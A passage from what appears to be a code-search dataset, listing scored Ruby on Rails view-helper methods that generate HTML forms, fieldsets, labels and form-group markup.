"text": "def section(options = {}, &block)\n # Short form of usage\n if options.is_a?(String)\n caption = options\n options = {}\n end\n\n caption ||= options.delete(:caption)\n\n render_context.haml_tag :fieldset, options do\n render_context.haml_tag :legend, caption unless caption.blank?\n render_context.haml_concat render_context.capture_haml(&block)\n end\n end",
"title": ""
},
{
"docid": "32d04828b1c4bf4793201b2e96dd8bc1",
"score": "0.6411984",
"text": "def input_set(title, options={}, &block)\n options.reverse_merge!(:class => \"inputs well well-small #{options.delete(:legend_class) || 'do_sort'}\", :id => options.delete(:legend_id))\n html = content_tag(:label, title, :class => \"input_set label #{options.delete(:label_class)}\")\n html.concat(capture(&block)) if block_given?\n content_tag(:fieldset, html, options)\n end",
"title": ""
},
{
"docid": "82b86b170e2c8fbc83dfdbf094257fee",
"score": "0.62125784",
"text": "def form_field_group(options={}, &block)\n raise ArgumentError, \"Missing block\" unless block_given?\n id = \"id='#{options[:id]}'\" if options[:id]\n title = \"<h3 class='fg_title'>#{options[:title]}</h3>\" if options[:title]\n concat( %Q|<li class=\"field_group\" #{id}>#{title}|, block.binding )\n concat( capture( &block ), block.binding )\n concat( '</li>', block.binding )\n end",
"title": ""
},
{
"docid": "a418be25e48a72e204f291016817bb7e",
"score": "0.61903083",
"text": "def end_form_block\n \"</ol></fieldset>\".html_safe\n end",
"title": ""
},
{
"docid": "ba61c140cbe95fe1a37c0d86e8d3cb15",
"score": "0.6186127",
"text": "def dynamic_fieldset_renderer(fsa, form_type)\n rendered_dynamic_fieldset = \"<div id='#{DynamicFieldsets.config.form_fieldset_associator_prefix}#{fsa.id}'>\\n\"\n rendered_dynamic_fieldset += \"<input type='hidden' name='#{DynamicFieldsets.config.form_fieldset_associator_prefix}#{fsa.id}[fieldset_id]' value='#{fsa.fieldset_id}' />\\n\"\n rendered_dynamic_fieldset += \"<input type='hidden' name='#{DynamicFieldsets.config.form_fieldset_associator_prefix}#{fsa.id}[fieldset_model_name]' value='#{fsa.fieldset_model_name}' />\\n\"\n fieldset_renderer( fsa, fsa.fieldset, fsa.field_values, form_type ).each do |line|\n rendered_dynamic_fieldset += line + \"\\n\"\n end\n rendered_dynamic_fieldset += \"</div>\"\n return rendered_dynamic_fieldset.html_safe\n end",
"title": ""
},
{
"docid": "12cbf005dcd1fdd3b9d1366aec039c39",
"score": "0.61247873",
"text": "def markup(render_options = {})\n label_attr = label.slice(0, 10).gsub(/[^A-Za-z]/,'_').underscore\n render_options = {\n :name => label_attr,\n :id => label_attr + '_' + id.to_s,\n :value => values,\n :default_text => default_text,\n :required => required\n }.merge(render_options)\n \"Surveys::QuestionFieldType::#{element_type.classify}\".constantize.generate_markup(render_options)\n end",
"title": ""
},
{
"docid": "8a3369bb041c58f643baae350e73b694",
"score": "0.6106529",
"text": "def build_shell(field, options)\n options[:label] = options[:label].blank? ? fieldset_label(field, options) : options[:label]\n if has_errors_on?(field)\n @template.content_tag(:div, label(field, options[:label].concat(required_mark(field) )) + yield + \"<div class='inline_error_message'>#{error_message(field,options)}</div>\", :class => 'fieldset')\n else\n @template.content_tag(:div, label(field, options[:label].concat(required_mark(field) )) + yield, :class => 'fieldset')\n end\n end",
"title": ""
},
{
"docid": "45d5e5c80bc1bee3f3d3cc882ba6672d",
"score": "0.61020285",
"text": "def html(&blk)\n if block_given?\n HtmlBuilder.new.fragment(&blk)\n else\n HtmlBuilder.new\n end\n end",
"title": ""
},
{
"docid": "60e60c8eb52af1da4c062c3e0498e162",
"score": "0.6089574",
"text": "def help_block(text, label_class, control_class)\n content_tag(:div, class: 'form-group') do\n [\n content_tag(:label, class: \"#{label_class} control-label\") { },\n content_tag(:div, class: control_class) do\n content_tag(:p, class: 'form-control-static help-block') do\n text\n end\n end\n ].join(' ').html_safe\n end\n end",
"title": ""
},
{
"docid": "20bec1e85d48f1568f7987602090b5d1",
"score": "0.60728544",
"text": "def input_text_group(method, props, attributes = {})\n legend_id = \"group_legend_#{method}\"\n legend = @template.content_tag(:legend, props[:legend], id: legend_id)\n description = @template.content_tag(:p, props[:description], class: 'description', id: props[:description_id])\n props[:legend_id] = legend_id\n @template.content_tag(\n :fieldset,\n legend + description + input_text_collection(method, props, attributes),\n class: \"field-group text-group field-#{method}\"\n )\n end",
"title": ""
},
{
"docid": "30118dafd517845bb27ce488bd2ae123",
"score": "0.60331744",
"text": "def jobware_form_for(*args, &block)\n options = args.extract_options!.merge(:builder => JobwareFormBuilder)\n\n if options[:use_fieldset].nil? or options[:use_fieldset]\n field_set_tag(options[:title], :class => 'big') { form_for(*(args + [options]), &block) }\n else\n form_for(*(args + [options]), &block)\n end\n end",
"title": ""
},
{
"docid": "77d773abd48e4263e4651ae5e4ebbbf7",
"score": "0.5999347",
"text": "def dynamic_fieldset_form_renderer(fsa)\n return dynamic_fieldset_renderer(fsa, \"form\") << javascript_renderer(fsa,\"form\")\n end",
"title": ""
},
{
"docid": "ba86425dbc3cb2deaa60f6c5c274bdb5",
"score": "0.59726566",
"text": "def format_as_block_html(name, attr, body, indent)\n \"#{' ' * indent}<#{name}#{html_attributes(attr)}>#{body}</#{name}>\\n\"\n end",
"title": ""
},
{
"docid": "98f612c1577adaacd48f5a1a73397d97",
"score": "0.59314346",
"text": "def legend_html\n return legend_html_without_customizations if builder.options[:label_customizations] == false\n if render_label?\n audience = template.try(:current_user).try(:person_type)\n help_text = HelpText.for(object_name.to_s.classify, method, audience)\n custom_label_text = Formtastic::Util.html_safe(help_text.try(:title)) || label_text\n # Add customer-specific instructions text\n custom_label_text << template.content_tag(\n :div,\n template.content_tag(\n :span, Formtastic::Util.html_safe(help_text.try(:instructions))\n ),\n :class => \"button icon info icon-only help-text\"\n ) unless help_text.try(:instructions).blank?\n \n builder.label(input_name, custom_label_text, label_html_options)\n else\n \"\".html_safe\n end\n end",
"title": ""
},
{
"docid": "6eaff2e9cced9413c82396763c70f707",
"score": "0.5929805",
"text": "def form_field(attribute, options, &block)\n content_tag(:div, class: \"field\") do\n # Label\n label = label(attribute, options[:label])\n\n # Prefix control\n prefix_control = content_tag(:div, class: \"control\") do\n options[:prefix_control]\n end\n\n # Suffix control\n suffix_control = content_tag(:div, class: \"control\") do\n options[:suffix_control]\n end\n\n # Control\n control = control_tag(attribute, options, &block)\n\n # Error messages\n error = content_tag(:div, class: \"help is-danger\") do\n object.errors[attribute].join(\", \").capitalize if object\n end\n\n # Help message\n help = content_tag(:div, class: \"help\") do\n options[:help]\n end\n\n # Content\n content = control\n\n # Prepend prefix control when the option is present\n content = prefix_control + content if options[:prefix_control]\n\n # Append suffix control when the option is present\n content += suffix_control if options[:suffix_control]\n\n # Append the error message when any error is present\n content += error if object && object.errors[attribute].length.positive?\n\n # Append the help message when any help message is present\n content += help if options[:help]\n\n # If a prefix or suffix control is provided, wrap the content in another div with the \"has-addons\" class.\n # This is to ensure that the controls are aligned and the label is not rendered next to the input.\n if options[:prefix_control] || options[:suffix_control]\n content = content_tag(:div, class: \"field has-addons\") do\n content\n end\n end\n\n # If the skip_label option is false, prepend the labeL.\n content = label + content unless options[:skip_label]\n\n content\n end\n end",
"title": ""
},
{
"docid": "322e6957fd5d2ee466a6ede9f0e57065",
"score": "0.5912433",
"text": "def fields_for(object, settings={}, &block)\n builder_class = configured_form_builder_class(settings[:builder])\n fields_html = capture_html(builder_class.new(self, object), &block)\n concat_content fields_html\n end",
"title": ""
},
{
"docid": "32cf9e76e044549d22a2433c6a0f2693",
"score": "0.5910303",
"text": "def render(builder, view)\n return unless render_me?(builder, view)\n\n args = eval_property(:args, builder, view)\n legend = eval_property(:legend, builder, view)\n\n view.content_tag(:fieldset, args) do\n view.concat view.content_tag(:legend, legend) unless legend.nil?\n view.concat render_elements(builder, view)\n end\n end",
"title": ""
},
{
"docid": "68411399f8637fd8e0a63c3ef1b2fd3a",
"score": "0.588662",
"text": "def to_s\n out = \"<form #{form_attributes}>\"\n out << \"<fieldset>\"\n out << generate\n out << \"</fieldset>\"\n out << '<input type=\"submit\" />'\n out << '<input type=\"reset\" />'\n out << \"</form>\"\n end",
"title": ""
},
{
"docid": "74e0ae3ce78bd8c0e097b70ca012e805",
"score": "0.588046",
"text": "def fieldset_type; :input; end",
"title": ""
},
{
"docid": "ae9f28ff6f82ea1ebcd772945042e1c1",
"score": "0.5872735",
"text": "def field_set_and_list_wrapping_for_method(method, options, contents) #:nodoc:\n contents = contents.join if contents.respond_to?(:join)\n \n template.content_tag(:fieldset,\n template.content_tag(:legend,\n label(method, options_for_label(options).merge(:for => options.delete(:label_for))), :class => 'label'\n ) <<\n template.content_tag(:ol, Formtastic::Util.html_safe(contents))\n )\n end",
"title": ""
},
{
"docid": "e7010ecc71d8a63bc07daacab31b0439",
"score": "0.5852671",
"text": "def render\n data = @before.join('')\n data += yield self\n data = form data\n\n @opts.tag(:form, data)\n end",
"title": ""
},
{
"docid": "9ec731d1447d1defec4dec0e189fc3b4",
"score": "0.5837193",
"text": "def field_form_renderer(fsa, fieldset_child, values = [])\n field = fieldset_child.child\n # maybe turn this into an instance method\n classes = \"#{field.type.gsub(\"DynamicFieldsets::\", \"\").underscore.downcase} \"\n classes += ( field.required ? 'required' : 'optional' )\n \n field_markup = []\n if field.use_form_header_partial?\n field_markup.push render(:partial => field.form_header_partial, :locals => {\n :classes => classes,\n :field => field,\n :fieldset_child => fieldset_child,\n :field_input_name => DynamicFieldsets.config.form_fieldset_associator_prefix + fsa.id.to_s + \"_\" + DynamicFieldsets.config.form_field_prefix + fieldset_child.id.to_s,\n })\n end\n \n attrs = field.html_attribute_hash\n \n attributes = {\n :fsa => fsa,\n :fieldset_child => fieldset_child,\n :values => values,\n :value => values\n }\n\n field_markup.push render(:partial => field.form_partial, :locals => field.form_partial_locals(attributes))\n \n if field.use_form_footer_partial?\n field_markup.push render(:partial => field.form_footer_partial)\n end\n\n return field_markup\n end",
"title": ""
},
{
"docid": "18330a74c2894db74948c048829f5501",
"score": "0.58141726",
"text": "def build builder\n builder.fieldset( :fields, name != '' ? name : nil ) do\n fields.each {|f| builder.auto_field f } if fields\n proc.call( builder ) if proc\n end\n end",
"title": ""
},
{
"docid": "7b20a07b1ff506db9536a28bf93d8576",
"score": "0.581177",
"text": "def fields_for(object, options={}, &block)\n instance = builder_instance(object, options)\n fields_html = capture_html(instance, &block)\n fields_html << instance.hidden_field(:id) if instance.send(:nested_object_id)\n concat_content fields_html\n end",
"title": ""
},
{
"docid": "43ba622dd9a4a89f9c6b89066791e577",
"score": "0.5803526",
"text": "def input_set(title, options={}, &block)\n options.reverse_merge!(class: \"inputs well well-small clearfix #{options.delete(:legend_class) || 'do_sort'}\", id: options.delete(:legend_id))\n html = content_tag(:label, title, class: \"input_set label #{options.delete(:label_class)}\")\n html.concat(capture(&block)) if block_given?\n content_tag(:div, html, options)\n end",
"title": ""
},
{
"docid": "3cc4151b1b4d84968cf877448d900dfa",
"score": "0.57831955",
"text": "def form_block(title=\"\", options={}, &block)\n render \"/outpost/shared/form_block\",\n :title => title,\n :body => capture(&block),\n :options => options\n end",
"title": ""
},
{
"docid": "fbf8bb831e597d956c4a7304a33a3d3a",
"score": "0.5776841",
"text": "def legend_block(&block)\n concat content_tag(:div, capture(&block), :class => \"faux_legend\")\n end",
"title": ""
},
{
"docid": "0b2c313f64f67344b8aac6a5339dbcab",
"score": "0.5773208",
"text": "def format_as_block_html(name, attr, body, indent)\n attr = attr.dup\n attr.delete(\"class\")\n \"#{' '*indent}<#{name}#{html_attributes(attr)}>#{body}</#{name}>\\n\"\n end",
"title": ""
},
{
"docid": "ded687a470a09d152fbd2d661312646d",
"score": "0.5743845",
"text": "def render_fields(block)\n \n end",
"title": ""
},
{
"docid": "78d023e35f58407bb5450203f70101fb",
"score": "0.57417876",
"text": "def to_form_markup(form_tag_attrs = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "8effc382eb28912d6e747cad50459361",
"score": "0.57253903",
"text": "def input_set(title, options={}, &block)\n options.reverse_merge!(class: \"inputs well well-small clearfix #{options.delete(:legend_class) || 'do_sort'}\", id: options.delete(:legend_id))\n html = title ? content_tag(:label, title, class: \"input_set label #{options.delete(:label_class)}\") : ''.html_safe\n html.concat(capture(&block)) if block_given?\n content_tag(:div, html, options)\n end",
"title": ""
},
{
"docid": "f5128dba5c0cb6dec5a362d8c7c688e6",
"score": "0.5722545",
"text": "def get_edit_html()\n \"<div class=\\\"field\\\" title=\\\"edit feature #{self.class}\\\">\n <div style='font-weight:normal; font-size:90%;'>#{self.class} : #{idurl}</div>\n <div>mandatory<input type='checkbox' #{'checked' unless is_optional}/></div>\n <div><span>label<span><input type='text' value='#{label}' /></div>\n <div>\"\n end",
"title": ""
},
{
"docid": "f830c397fae5020bff1c1b81a9860233",
"score": "0.57192653",
"text": "def multiple_field_group(options = {}, &block)\n first = options.delete(:first)\n the_class = options.delete(:class)\n @template.concat(start_uniform_wrapper(:first => first, :class => the_class))\n @template.concat(label_wrapper(options[:label].underscore.gsub(/ /,'_'), options)) if options[:label]\n @template.concat(hint_wrapper(options[:hint])) if options[:hint]\n @wrapper = false\n content = @template.capture(&block)\n @template.concat(content)\n @wrapper = true\n @template.concat(end_uniform_wrapper)\n end",
"title": ""
},
{
"docid": "6f602d3ccf2ef701055092172280cb6a",
"score": "0.57190037",
"text": "def html_part(&block); end",
"title": ""
},
{
"docid": "e5e11c9555643edebcd5b35deb724e26",
"score": "0.57189006",
"text": "def render_markup\n capture do\n # Determine the class to use fo rendering this element\n element_class = form_fragment.fetch('type', 'UmmTextField')\n form_element = element_class.constantize.new(form_fragment, json_form, schema, options)\n\n # Adds a label to the container holding the element\n concat label_tag(keyify_property_name(form_fragment), form_element.title, class: ('eui-required-o' if schema.required_field?(form_fragment['key'])))\n\n # Adds the help modal link and icon\n concat help_icon(help_path)\n\n concat form_element.render_markup\n end\n end",
"title": ""
},
{
"docid": "23ce738bc13931c82e9e3a9b90335030",
"score": "0.5712634",
"text": "def inline(label = nil, &block)\n template.content_tag(:div, :class => 'control-group') do\n template.concat template.content_tag(:label, label, :class => 'control-label') if label.present?\n template.concat template.content_tag(:div, :class => 'controls') {\n template.content_tag(:div, :class => 'inline-inputs') do\n template.fields_for(\n self.object_name,\n self.object,\n self.options.merge(:builder => ActionView::Helpers::FormBuilder),\n &block\n )\n end\n }\n end\n end",
"title": ""
},
{
"docid": "aef53127e84fffd09349ff114d261b28",
"score": "0.57123613",
"text": "def within_fieldset(locator, &block); end",
"title": ""
},
{
"docid": "184fc23209f856763a964506ecc33c1c",
"score": "0.5709689",
"text": "def td_form name, object, &block\n url = { :action => \"create\" }\n html = { :class => \"standard\",\n :style => (@edit_on ? '' : \"display: none;\"),\n :multipart => true }\n concat form_tag(url, html) + \"<fieldset>\", block.binding\n concat '<input name=\"_method\" type=\"hidden\" value=\"put\" />', block.binding unless object.new_record?\n yield LabelingFormBuilder.new(name, object, self, {}, block)\n concat \"</fieldset>\", block.binding\n end",
"title": ""
},
{
"docid": "e7b75f691ddbde6a460628214ff5e4ef",
"score": "0.57051337",
"text": "def element(label = ' ', value = '', type = 'text_field', &block)\n value += @template.capture(&block) if block_given?\n %{\n <div class='control-group'>\n <label class='control-label'>#{label}</label>\n <div class='controls'>\n #{value}\n </div>\n </div>\n }.html_safe\n end",
"title": ""
},
{
"docid": "24f80fce0374a7f23938f9048af876bc",
"score": "0.56991583",
"text": "def form_group(setting, control)\n id = setting[:key].to_s\n label = setting[:title] || id.titleize\n help_id = id + 'HelpBlock'\n help_text = setting[:description]\n aria_label = setting[:aria_label] || \"Radio button for following text input\"\n\n tag.div(class: \"form-group\") do\n tag.label(for: id, value: label, aria: { label: aria_label }) do\n label\n end +\n input_group { control } +\n tag.small(help_text, id: help_id, class: %w(form-text text-muted))\n end\n end",
"title": ""
},
{
"docid": "88cd12286c31399307b2790fead1680b",
"score": "0.5698393",
"text": "def tab_body(args, &proc)\n concat %{<div id=\"#{args[:id]}\" class=\"tab_block form_container\" style=\"display: #{args[:display] || 'none'};\">}\n concat %{#{legend_tag args[:label] || args[:id].titleize }}\n concat %{<a name=\"#{args[:id]}\"></a><br />}\n yield\n concat %{</div>}\n end",
"title": ""
},
{
"docid": "281fd308c8b78e188bde7682f4f296f7",
"score": "0.5696256",
"text": "def static_form_group(options={})\n (\"<div class='form-group'>\" +\n \"<label class='col-sm-3 control-label'>\" +\n (options[:label_html] || options[:label].to_s) +\n \"</label>\" +\n \"<div class='col-sm-9'>\" +\n ( \n options[:value_html] ||\n \"<p class='form-control-static'>\" + options[:value].to_s + \"</p>\"\n ) +\n \"</div>\" +\n \"</div>\").html_safe\n end",
"title": ""
},
{
"docid": "1168741eda91cbe0f86ce06896dd404e",
"score": "0.5694091",
"text": "def dynamic_fieldset_show_renderer(fsa)\n return dynamic_fieldset_renderer(fsa, \"show\") << javascript_renderer(fsa,\"show\")\n end",
"title": ""
},
{
"docid": "32df44700c9648cfbc6f48e8f61dcde4",
"score": "0.5688759",
"text": "def gds_fieldset(name, specification, **kw_args, &block)\n section name,\n govuk_component(:fieldset),\n :govuk_fieldset,\n specification,\n **(DEFAULT_FIND_OPTIONS.merge(kw_args)),\n &block\n end",
"title": ""
},
{
"docid": "03615279fc5669f18987b50e91b3b1c3",
"score": "0.5680054",
"text": "def inner_form_block\n form.simple_fields_for(attribute_name) do |inside_form|\n capture do\n yield(inside_form)\n end.html_safe\n end\n end",
"title": ""
},
{
"docid": "34ff61463fa4e0758c0a30c558f43b61",
"score": "0.5663086",
"text": "def to_html\n input_wrapping do\n choices_wrapping do\n legend_html <<\n hint_html <<\n hidden_field_for_all <<\n choices_group_wrapping do\n collection.map { |choice|\n choice_wrapping(choice_wrapping_html_options(choice)) do\n choice_html(choice)\n end\n }.join(\"\\n\").html_safe\n end\n end\n end\n end",
"title": ""
},
{
"docid": "af9945a07150a3b55b9f6f4bbf6f3ec1",
"score": "0.5660981",
"text": "def action_set(options = {}, &block)\n action_code = capture(&block)\n\n required_text = \"\"\n\n # Required fields information.\n if options[:fields_required]\n required_text = (options[:fields_required] == :all) ?\n \"All fields are required\" : \"Fields marked * are required\"\n\n required_text = content_tag(:div, required_text,:class => \"fields_required\")\n end\n\n loader_code = options[:loader] ? image_tag(\n \"ajax-loader.gif\", :id => options[:loader],\n :style => \"display: none; margin-left: 7px; height: 25px;\") : \"\"\n\n indentation_code = \"\"\n indentation_code = content_tag(:label) unless options[:dont_indent]\n action_code = content_tag(:div, :class => 'action_and_info') do\n required_text + action_code + loader_code\n end\n\n action_code = content_tag(:div, :class => 'action_set clearfix') do\n indentation_code + action_code\n end\n\n concat(action_code)\n end",
"title": ""
},
{
"docid": "5d0a4e7adf632266a1f1059f4fb872ba",
"score": "0.5644761",
"text": "def label_and_field(field_html, errors_html, attr, label_text, label_options)\n output = ''.html_safe\n output << label(attr, label_text, label_options)\n output << field_html\n output << errors_html if errors_html\n output\n end",
"title": ""
},
{
"docid": "798d6fcb5fb66f57ff2893215efead01",
"score": "0.5627927",
"text": "def the_widget(attrs = {}, &block)\n attrs = {qty_truncate: 100, block_right: '', attend_right: true, class: '', photo: false}.merge(attrs)\n photo = ''\n photo = \"<div class='overflow_hidden' style='max-height: 145px; margin-bottom: 10px;'><img style='min-width: 100%; max-width: none;' src='#{object.photo.url}'></div>\" if attrs[:photo]\n link = the_attend_link\n \n \"<form class='#{attrs[:class]} media ujs_block_loading ujs_link_modal cursor_pointer event_media_item' action='#{the_url}' data-remote='true' onclick=\\\"if(!$(window.event.target).is('a')) $(this).submit();\\\" data-modal-title='Event Details'>\n #{photo}\n <div class='media-left text-center nowrap'>\n <div class='text-red'>#{object.start_at.strftime(\"%b\") if object.start_at}</div>\n <div class='num'>#{object.start_at.strftime(\"%d\") if object.start_at}</div>\n </div>\n <div class='media-body'>\n <div class='media-heading'>\n #{object.name}\n </div>\n <div class='small text-gray'>\n #{object.description.truncate(attrs[:qty_truncate])}\n <div class='p_attending'>#{the_attending}</div>\n </div>\n #{block ? h.capture(&block) : ''}\n #{\"<div class='text-center margin_top5'>#{link}</div>\" unless attrs[:attend_right]}\n </div>\n <div class='media-right'>\n #{link if attrs[:attend_right]}\n #{attrs[:block_right]}\n </div>\n </form>\".html_safe\n end",
"title": ""
},
{
"docid": "fb891a75896e49c25845b1cf01e6a081",
"score": "0.5625495",
"text": "def admin_fieldset label='', *columns, &proc\n set = InputFieldset.new( self, label, columns.map {|c| c.to_s }, proc )\n (@admin_fieldsets ||= []) << set\n end",
"title": ""
},
{
"docid": "76eb9cd0d2ee3bc8742cd11ee2acc09c",
"score": "0.56222826",
"text": "def scan_field_set(field_set_options=nil)\n field_set_tag(nil, field_set_options) do\n label_tag(\"sub_author\", \"Author of part:\", class: \"control-label\") +\n text_field_tag(\"sub_author\", nil, class: \"form-control\") +\n label_tag(\"sub_title\", \"Title of part:\", class: \"control-label\") +\n text_field_tag(\"sub_title\", nil, class: \"form-control\") +\n label_tag(\"pages\", \"Pages (e.g., 7-12; 5, 6-8, 10-15):\", class: \"control-label\") +\n text_field_tag(\"pages\", nil, class: \"form-control\") +\n label_tag(\"note_1\", \"Notes:\", class: \"control-label\") +\n text_field_tag(\"note_1\", nil, maxlength: 50, class: \"form-control\")\n end\n end",
"title": ""
},
{
"docid": "99055e9f62f72b3492dbcc1ae3e47bb0",
"score": "0.5615591",
"text": "def inner_form_block\n form.simple_fields_for(attribute_name, include_id: false) do |inside_form|\n capture do\n yield(inside_form)\n end.html_safe\n end\n end",
"title": ""
},
{
"docid": "8224d7b97b3117272d2b31cd0a176df0",
"score": "0.56141716",
"text": "def tag_for_label_with_inline_help( label_text, field_id, help_text )\n _html = \"\"\n _html << %{<label for=\"#{field_id}\">#{label_text}}\n _html << %{<img src=\"/images/icons/help_icon.png\" onclick=\"$('#{field_id}_help').toggle();\" class='inline_icon' />}\n _html << %{</label><br />}\n _html << %{<div class=\"inline_help\" id=\"#{field_id}_help\" style=\"display: none;\">}\n _html << %{<p>#{help_text}</p>}\n _html << %{</div>}\n _html\n end",
"title": ""
},
{
"docid": "fb51c0465f50e7fca6c5f67f12c2f4ed",
"score": "0.56116146",
"text": "def to_form_markup(action_url, form_tag_attrs = T.unsafe(nil), submit_text = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "13cbc900963f5828d8af103f2bc071f9",
"score": "0.56071764",
"text": "def field_block(cols = 2, &block)\n css_class = \"float_left\"\n css_class << \"_#{cols}\" unless cols == 2\n concat('<div class=\"'+ css_class +'\">', block.binding)\n yield\n concat('</div>', block.binding)\n concat('<div style=\"clear:both;\"></div>', block.binding)\n end",
"title": ""
},
{
"docid": "66d172c9f4e4e6ef750bc4e9826bd2db",
"score": "0.5601362",
"text": "def default_input_block\n Proc.new { |record, column| \"<div class=\\\"form-element\\\">\\n \"+\n \"<label for=\\\"#{record}_#{column.name}\\\">#{column.human_name}</label>\\n \"+\n \"#{input(record, column.name)}\\n</div>\\n\" }\n end",
"title": ""
},
{
"docid": "e73aa410f0bb310761a7f39e232fa466",
"score": "0.5598253",
"text": "def view_for(record, options = {}, &block)\n raise ArgumentError, 'Missing block' unless block_given?\n\n html_options = options[:html] ||= {}\n html_options[:class] = (html_options[:class] || '').strip << ' readonly-form'\n\n case record\n when String, Symbol\n object_name = record\n object = nil\n else\n object = record.is_a?(Array) ? record.last : record\n object_name = model_name_from_record_or_class(object).param_key\n end\n builder = FormViewBuilder.new(object_name, object, self, options)\n output = capture(builder, &block)\n\n content_tag(:div, html_options) { output }\n end",
"title": ""
},
{
"docid": "7fdc444cff2fb98c8aa36a053245e890",
"score": "0.55934834",
"text": "def basic_fields_markup(html, association = nil)\n if html && html[:class]\n html[:class] = \"abyme--fields #{association.to_s.singularize}-fields #{html[:class]}\" \n else\n html ||= {}\n html[:class] = \"abyme--fields #{association.to_s.singularize}-fields\"\n end\n html\n end",
"title": ""
},
{
"docid": "707a6103473295bb9131f1a607414aa6",
"score": "0.55886334",
"text": "def form_tag_in_block(html_options, &block)\n content = capture(&block)\n form_tag_with_body(html_options, content)\n end",
"title": ""
},
{
"docid": "707a6103473295bb9131f1a607414aa6",
"score": "0.55886334",
"text": "def form_tag_in_block(html_options, &block)\n content = capture(&block)\n form_tag_with_body(html_options, content)\n end",
"title": ""
},
{
"docid": "90b45addd956e5d2422859705df7ab62",
"score": "0.55864346",
"text": "def horizontal_field_wrap attr_name='', label:nil, icon: nil, help_text: nil\n content_tag :div, class: 'field is-horizontal' do\n label_html = bulma_label label || attr_name\n field_body_html = content_tag :div, class: 'field-body' do\n field = content_tag :div, class: 'field is-expanded' do\n control_classes = ['control']\n control_classes << 'is-expanded' if (help_text || icon)\n control_classes << 'has-icons-left' if icon\n control_classes << 'is-danger' if has_errors?(attr_name)\n control_paragraph = content_tag :p, class: control_classes do\n icon_span = span_icon icon\n (yield control_classes.join(' ') if block_given?) + icon_span\n end\n control_paragraph + errors_on(attr_name) + help(help_text)\n end\n end\n\n label_html + field_body_html\n end\n end",
"title": ""
},
{
"docid": "5df94e016e5efd1e0243f20939df0fb8",
"score": "0.5582245",
"text": "def dc_fields_for_form\n html = \"<div id='data_fields' \" + (@form['form']['height'] ? \"style=\\\"height: #{@form['form']['height']}px;\\\">\" : '>')\n @js ||= ''\n @css ||= ''\n # fields\n if (form_fields = @form['form']['fields'])\n html << dc_input_form_create(form_fields) + '</div>'\n # tabs\n elsif @form['form']['tabs']\n html = dc_tabs_form_create()\n end\n # add last_updated_at hidden field so controller can check if record was updated in db during editing\n html << hidden_field(nil, :last_updated_at, value: @record.updated_at.to_i) if @record.respond_to?(:updated_at)\n # add form time stamp to prevent double form submit\n html << hidden_field(nil, :form_time_stamp, value: Time.now.to_i)\n # add javascript code if defined by form\n @js << \"\\n#{@form['script']} #{@form['js']}\"\n @css << \"\\n#{@form['css']}\\n#{@form['form']['css']}\"\n html.html_safe\nend",
"title": ""
},
{
"docid": "b0a56de4f041f1b86c6560e8bc02c043",
"score": "0.5580659",
"text": "def to_html\n m = Markaby::Builder.new({}, self)\n\n m.div do\n {\n :fsd_usecase_id => 'FSD UseCase ID:', :module => 'Module:',\n :description => 'Description:', :result => 'Result:',\n :brands => 'Brands:', :notes => 'Notes:'\n }.each do |key, value|\n h5 value\n span self.send(key).to_s\n end\n end\n end",
"title": ""
},
{
"docid": "440aa5e71bba6f2d966ce179f07057a7",
"score": "0.5567041",
"text": "def fieldset_type; :child_input; end",
"title": ""
},
{
"docid": "c8d28aefaa5fc1a5160277a901127ce4",
"score": "0.55668306",
"text": "def standard_form name, object, &block\n url = { :action => object.new_record? ? \"index\" : \"show\" }\n html = { :class => \"standard\",\n :style => (@edit_on ? '' : \"display: none;\"),\n :multipart => true }\n concat form_tag(url, html) + \"<fieldset>\"\n concat '<input name=\"_method\" type=\"hidden\" value=\"put\" />' unless object.new_record?\n yield LabelingFormBuilder.new(name, object, self, {}, block)\n concat \"</fieldset>\"\n end",
"title": ""
},
{
"docid": "609879d610a4b29be18441958d6df42c",
"score": "0.5559969",
"text": "def form_options\n opts = {}\n\n # Do we need this ?\n # opts[:klass] = node.master_class(ActiveRecord::Base).to_s\n\n if @context[:in_add]\n opts[:id] = \"#{node.dom_prefix}_add\"\n opts[:style] = 'display:none;'\n elsif @markup.tag == 'table'\n # the normal id goes to the form wrapping the table\n opts[:id] = \"#{node.dom_prefix}_tbl\"\n form_id = node.dom_prefix\n end\n\n form_id ||= \"#{node.dom_prefix}_form_t\"\n if @context[:template_url]\n opts[:form_tag] = \"<% remote_form_for(:#{node.form_name}, #{node}, :html => {:id => #{form_id.inspect}}) do |f| %>\"\n opts[:form_helper] = 'f'\n else\n opts[:form_tag] = \"<% form_for(:#{node.form_name}, #{node}, :html => {:id => #{form_id.inspect}}) do |f| %>\"\n opts[:form_helper] = 'f'\n end\n\n opts\n end",
"title": ""
},
{
"docid": "5aa3ab083ecde5346d8971384c21ce0d",
"score": "0.5556762",
"text": "def build builder\n builder.fieldset( :table ) do\n fields.each {|f| builder.static_text f } if fields\n proc.call( builder ) if proc\n end\n end",
"title": ""
},
{
"docid": "b3a5006445700ddfce8418e80d9f4c4a",
"score": "0.55490285",
"text": "def _whimsy_control_wrapper(**args)\n _div.form_group do\n _label.control_label.col_sm_3 args[:label], for: args[:name]\n _div.col_sm_9 do\n _div! class: \"input-group #{args[:groupclass]}\" do\n yield\n _whimsy_forms_iconlink(**args)\n end\n if args[:helptext]\n _span.help_block id: args[:aria_describedby] do\n _markdown args[:helptext]\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "a8ed1b504d8073d24ebdad3865594188",
"score": "0.554453",
"text": "def dc_help_fields\n return '' if @form['form'].nil?\n\n html = '<a id=\"fields\"></a>'\n if @form['form']['tabs']\n @form['form']['tabs'].each { |tab| html << dc_help_for_tab(tab) }\n else\n html << dc_help_for_tab(@form['form']['fields'])\n end\n html.html_safe\nend",
"title": ""
},
{
"docid": "bf886ac6f6f0bdce3466fd10ec544cc5",
"score": "0.5513966",
"text": "def form_partial_locals(args)\n output = super\n output[:options] = []\n field_options.each do |option|\n output[:options] << {\n :name => \"#{DynamicFieldsets.config.form_fieldset_associator_prefix}#{args[:fsa].id}[#{DynamicFieldsets.config.form_field_prefix}#{args[:fieldset_child].id}]\",\n :value => option.id.to_s,\n :checked => value_or_default_for_form(args[:values]).eql?(option.id.to_s),\n :html_attributes => html_attribute_hash,\n :label => option.name,\n }\n end\n return output\n end",
"title": ""
},
{
"docid": "cc3b5619d3003bba255109a6b6edd779",
"score": "0.5505059",
"text": "def collection_radio_buttons(method, collection, value_method, text_method, options = {}, html_options = {})\n ('<div data-role=\"fieldcontain\"><fieldset data-role=\"controlgroup\" data-type=\"horizontal\" data-mini=\"true\">' + super + '</fieldset></div>').html_safe\n end",
"title": ""
},
{
